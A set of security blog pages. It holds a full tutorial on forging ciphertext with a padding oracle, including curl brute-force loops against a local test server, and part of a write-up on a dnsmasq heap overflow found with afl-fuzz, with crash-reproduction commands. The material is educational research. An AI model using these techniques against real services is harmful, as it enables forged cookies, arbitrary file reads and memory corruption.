    While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

    BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.

    Continue reading

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

    When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.
    Continue reading

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday!

    My Christmas present to you, the community, is dnscat2 version 0.05!

    Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

    The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

    Info and downloads.
    Continue reading

    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

    We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

    Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

    This is a writeup of that scavenger hunt. :)
    Continue reading

    dnscat2: now with crypto!

    Hey everybody,

    Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

    Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!
    Continue reading

    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

    I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

    What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

    Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.
    Continue reading

    How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

    Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

    Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

    You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.
    Continue reading

    Defcon quals: wwtw (a series of vulns)

    Hey folks,

    This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

    I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

    And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

    You can download the binary here, and you can get the exploit and other files involved on my github page.
    Continue reading

    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

    You can grab the binary here, and you can get my exploit and some other files on this Github repo.
    Continue reading

    Defcon Quals: Access Control (simple reverse engineer)

    Hello all,

    Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

    Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

    I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!
    Continue reading

    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

    Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

    r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

    It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!
    Continue reading

    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)

    I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.
    Continue reading

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

    Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

    At any rate, I solved the hard part, so I'll go over the solution!
    Continue reading

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

    Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

    One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!
    Continue reading

    #####EOF##### Going the other way with padding oracles: Encrypting arbitrary data! » SkullSecurity


    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

    When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

    Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

    Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

    The math

    If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

    We'll define our variables more or less the same as last time:

      Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
                the range of 1..N). We select this.
      Let C   = the corresponding ciphertext, and Cn = the ciphertext
                of block n (the first block being 1) - our goal is to calculate this
      Let N   = the number of blocks (P and C have the same number of blocks by
                definition). PN is the last plaintext block, and CN is
                the last ciphertext block.
      Let IV  = the initialization vector — a random string — frequently
                (incorrectly) set to all zeroes. We'll mostly call this C0 in this
                post for simplicity (see below for an explanation).
      Let E() = a single-block encryption operation (any block encryption
                algorithm, such as AES or DES, it doesn't matter which), with some
                unique and unknown (to the attacker) secret key (that we don't
                notate here).
      Let D() = the corresponding decryption operation.
    

    And the math for encryption:

      C1 = E(P1 ⊕ IV)
      Cn = E(Pn ⊕ Cn-1) — for all n > 1
    

    And, of course, decryption:

      P1 = D(C1) ⊕ IV
      Pn = D(Cn) ⊕ Cn-1 - for all n > 1
    

    Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

    The attack

    Like decryption, we divide the string into blocks, and attack one block at a time.

    We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

    For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

    Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

    Overview

    After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

    To encrypt arbitrary text with a padding oracle...

    • Select a string, P, that you want to generate ciphertext, C, for
    • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
    • Generate a block of random data (CN - ultimately, the final block of ciphertext)
    • For each block of plaintext, starting with the last one...
      • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
      • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
      • After determining the full block, XOR it with the plaintext block Pn to create Cn
      • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

    To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

    A quick note about the IV

    In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

    If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

    Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

    Generate a fake block

    The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

    So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

    Let's have some fun:

    • Algorithm = "AES-256-CBC"
    • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
    • IV = 78228d4760a3675aa08d47694f88f639
    • Ciphertext = "IS THIS SECRET??"

    The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

      2.3.0 :001 > require 'openssl'
       => true
    
      2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :003 > c.decrypt
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
       => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 
    
      2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
       => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 
    
      2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
       => "NO, NOT SECRET!" 
    
    

    It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

    We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

    Calculate a block of ciphertext

    Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

    Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

    • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
    • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

    I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

    Imagine the string:

      C' = 00000000000000000000000000000000 || CN
                    ^^^ CN-1 ^^^               
    

    Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

    Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

    So we create a string like this:

      00000000000000000000000000000000 41414141414141414141414141414141
            ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^
    

    The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

    We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

    • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

    We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

    • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    • ...

    And eventually, you'll get a success:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
    Success!
    http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
    Fail!
    ...
    

    We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
    Fail!
    ...
    http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
    Success!
    ...
    

    So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    ...
    http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
    Success!
    ...
    

    So now, when C'1 ends with 6c3704, P'2 ends with 030303.

    We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

    $ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
    Success!
    

    That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

    We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

    Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

    • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
    • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
    • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
    • Send it to the server to be decrypted...
    $ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
    Success
    

    And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

    (The block of garbage is a result of being unable to control the IV)

    Calculating the next block of ciphertext

    So now, where have we gotten ourselves?

    We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

    This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

    Let's take a new C' of:

    000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
            ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^
    

    We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    ...
    http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
    Success!
    ...
    

    ...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

    So to put it in another way, we calculate:

    • CN = random / arbitrary
    • CN-1 = calculated from CN combined with PN
    • CN-2 = calculated from CN-1 combined with PN-1
    • CN-3 = calculated from CN-2 combined with PN-2
    • ...
    • C1 = calculated from C2 combined with P2
    • C0 (the IV) = calculated from C1 combined with P1

    So as you can see, each block is based on the next ciphertext block and the next plaintext block.

    Conclusion

    Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

    If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

    2 thoughts on “Going the other way with padding oracles: Encrypting arbitrary data!

    1. Reply

      Tim Smith

      Interesting article, thanks for making it.

      One thing was a little unclear:
      "Change the last byte of the empty block until the padding errors go away, then change the second last byte, third last, etc."
      So I thought "What? The second byte is already correct, I can't make errors go away by changing it".
      I worked it out (because I'd read "Padding oracle attacks: in depth"), and you explained it in full later, but as an overview that statement briefly added to my confusion.

      Keep up the good work.

      Oh, and in case someone else is reading this and thinking "yes, but what's the answer" - the implicit step is "..., update the last byte to yield a 2 instead of a 1, then change the second last byte..."

      1. Reply

        Ron Bowes Post author

        @Tim

        You're right, I could have gone into more detail there. I cover it more in-depth below, that section is just a quick summary. I'm going to update the language a bit to make it more clear what's happening, thanks for the feedback! :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq » SkullSecurity


    How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

    Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

    Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

    You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

    dnsmasq

    For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

    It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

    At any rate, the author's response was impressive. I made a little timeline:

    • May 12, 2015: Discovered
    • May 14, 2015: Reported to project
    • May 14, 20252015: Project responded with a patch candidate
    • May 15, 2015: Patch committed

    The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

    DNS - the important bits

    The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

    Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

    DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

    DNS packet structure

    The structure of a DNS packet is:

    • (int16) transaction id (trn_id)
    • (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
    • (int16) question count (qdcount)
    • (int16) answer count (ancount)
    • (int16) authority count (nscount)
    • (int16) additional count (arcount)
    • (variable) questions
    • (variable) answers
    • (variable) authorities
    • (variable) additionals

    The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

    • (variable) name (the important part!)
    • (int16) type (A/AAAA/CNAME/etc.)
    • (int16) class (basically always 0x0001, for Internet addresses)

    DNS names

    Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

    this.is.a.name.skullseclabs.org

    But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

    \x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

    The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

    Questions and answers

    When you send a question to a DNS server, the packet looks something like:

    • (header)
    • question count = 1
    • question 1: ANY record for skullsecurity.org?

    and the response looks like:

    • (header)
    • question count = 1
    • answer count = 11
    • question 1: ANY record for "skullsecurity.org"?
    • answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
    • answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com".
    • answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
    • ...

    (yes, those are some of my real records :) )

    If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

    Record pointers

    Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

    0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

    So typically, you'll see:

    • 12-bytes header (trn_id + flags + counts)
    • question 1: ANY record for "skullsecurity.org"
    • answer 1: \xc0\x0c has a TXT record of "oh hai NSA"
    • answer 2: \xc0\x0c ...

    "\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

    This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

    • 12-byte header
    • question 1: ANY record for "\xc0\x0c"

    Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

    Setting up the fuzz

    All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

    Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

    afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

    Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

    Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

    If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

    $ git clone https://github.com/iagox86/dnsmasq-fuzzing
    Cloning into 'dnsmasq-fuzzing'...
    [...]
    $ cd dnsmasq-fuzzing/
    $ CFLAGS=-DFUZZ make -j10
    [...]
    $ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
    dnsmasq: started, version  cachesize 150
    dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
    dnsmasq: reading /etc/resolv.conf
    [...]
    Segmentation fault
    

    Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

    Doing the actual fuzzing

    Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

    First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

    If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

    $ mkdir -p fuzzing/client/input/
